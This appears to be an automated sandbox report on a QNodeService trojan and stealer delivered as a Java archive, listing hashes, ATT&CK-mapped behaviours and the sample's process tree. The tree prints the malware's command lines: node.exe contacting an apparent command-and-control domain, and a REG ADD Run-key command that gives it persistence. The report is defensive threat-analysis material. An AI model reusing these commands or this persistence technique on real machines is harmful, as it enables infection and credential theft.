qnodeservice | eec063e54c4eb818e568bde4f742efb075c691a9201d974291c6767bac7c20a1

General

Target

2b5e8601ebef2e9c3b82bfc71f4d9c60.jar
Size

200KB
MD5

2b5e8601ebef2e9c3b82bfc71f4d9c60
SHA1

678237fe0071f9ee54c756d71f2e2fc655a27c60
SHA256

eec063e54c4eb818e568bde4f742efb075c691a9201d974291c6767bac7c20a1
SHA512

2db0e8586843c48a4cabfbac44d522f9ad94ec55c0d721b3faa5856a4d68e118105d5a3b3800ebe55b1b61913a24601595aa05de266099d19e3ee0656cc45a10

Score

10^/10

persistence trojan qnodeservice spyware

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
3688	node.exe
2792	node.exe
3036	node.exe

Loads dropped DLL 6 IoCs

pid	Process
3036	node.exe
3036	node.exe
3036	node.exe
3036	node.exe
3036	node.exe
3036	node.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000\Software\Microsoft\Windows\CurrentVersion\Run\fc82d951-8a6d-40f7-8c5e-ade60e7d5946 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ad77-168.dat	js
behavioral2/files/0x000100000001ad77-173.dat	js
behavioral2/files/0x000100000001ad77-177.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
20	wtfismyip.com
21	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
3688	node.exe
3688	node.exe
3688	node.exe
3688	node.exe
2792	node.exe
2792	node.exe
2792	node.exe
2792	node.exe
3036	node.exe
3036	node.exe
3036	node.exe
3036	node.exe
3036	node.exe
3036	node.exe
3036	node.exe
3036	node.exe
3036	node.exe
3036	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3816 wrote to memory of 3376	3816	java.exe	73
PID 3816 wrote to memory of 3376	3816	java.exe	73
PID 3376 wrote to memory of 3688	3376	javaw.exe	77
PID 3376 wrote to memory of 3688	3376	javaw.exe	77
PID 3688 wrote to memory of 2792	3688	node.exe	79
PID 3688 wrote to memory of 2792	3688	node.exe	79
PID 2792 wrote to memory of 3036	2792	node.exe	80
PID 2792 wrote to memory of 3036	2792	node.exe	80
PID 3036 wrote to memory of 3616	3036	node.exe	82
PID 3036 wrote to memory of 3616	3036	node.exe	82
PID 3616 wrote to memory of 3700	3616	cmd.exe	83
PID 3616 wrote to memory of 3700	3616	cmd.exe	83

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\2b5e8601ebef2e9c3b82bfc71f4d9c60.jar
1⤵
- Suspicious use of WriteProcessMemory
PID:3816
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\5aae1218.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3376
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain qwertyhills92.spdns.org
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:3688
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_htdGq2\boot.js --hub-domain qwertyhills92.spdns.org
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:2792
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_htdGq2\boot.js --hub-domain qwertyhills92.spdns.org
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:3036
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "fc82d951-8a6d-40f7-8c5e-ade60e7d5946" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3616
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "fc82d951-8a6d-40f7-8c5e-ade60e7d5946" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:3700

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Credentials in Files

1

T1081

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Data from Local System

1

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2792-174-0x0000034BD4B00000-0x0000034BD4B01000-memory.dmp

Filesize
4KB

Download
memory/3036-178-0x000001AF91C00000-0x000001AF91C01000-memory.dmp

Filesize
4KB

Download
memory/3688-171-0x00000256FF940000-0x00000256FF941000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing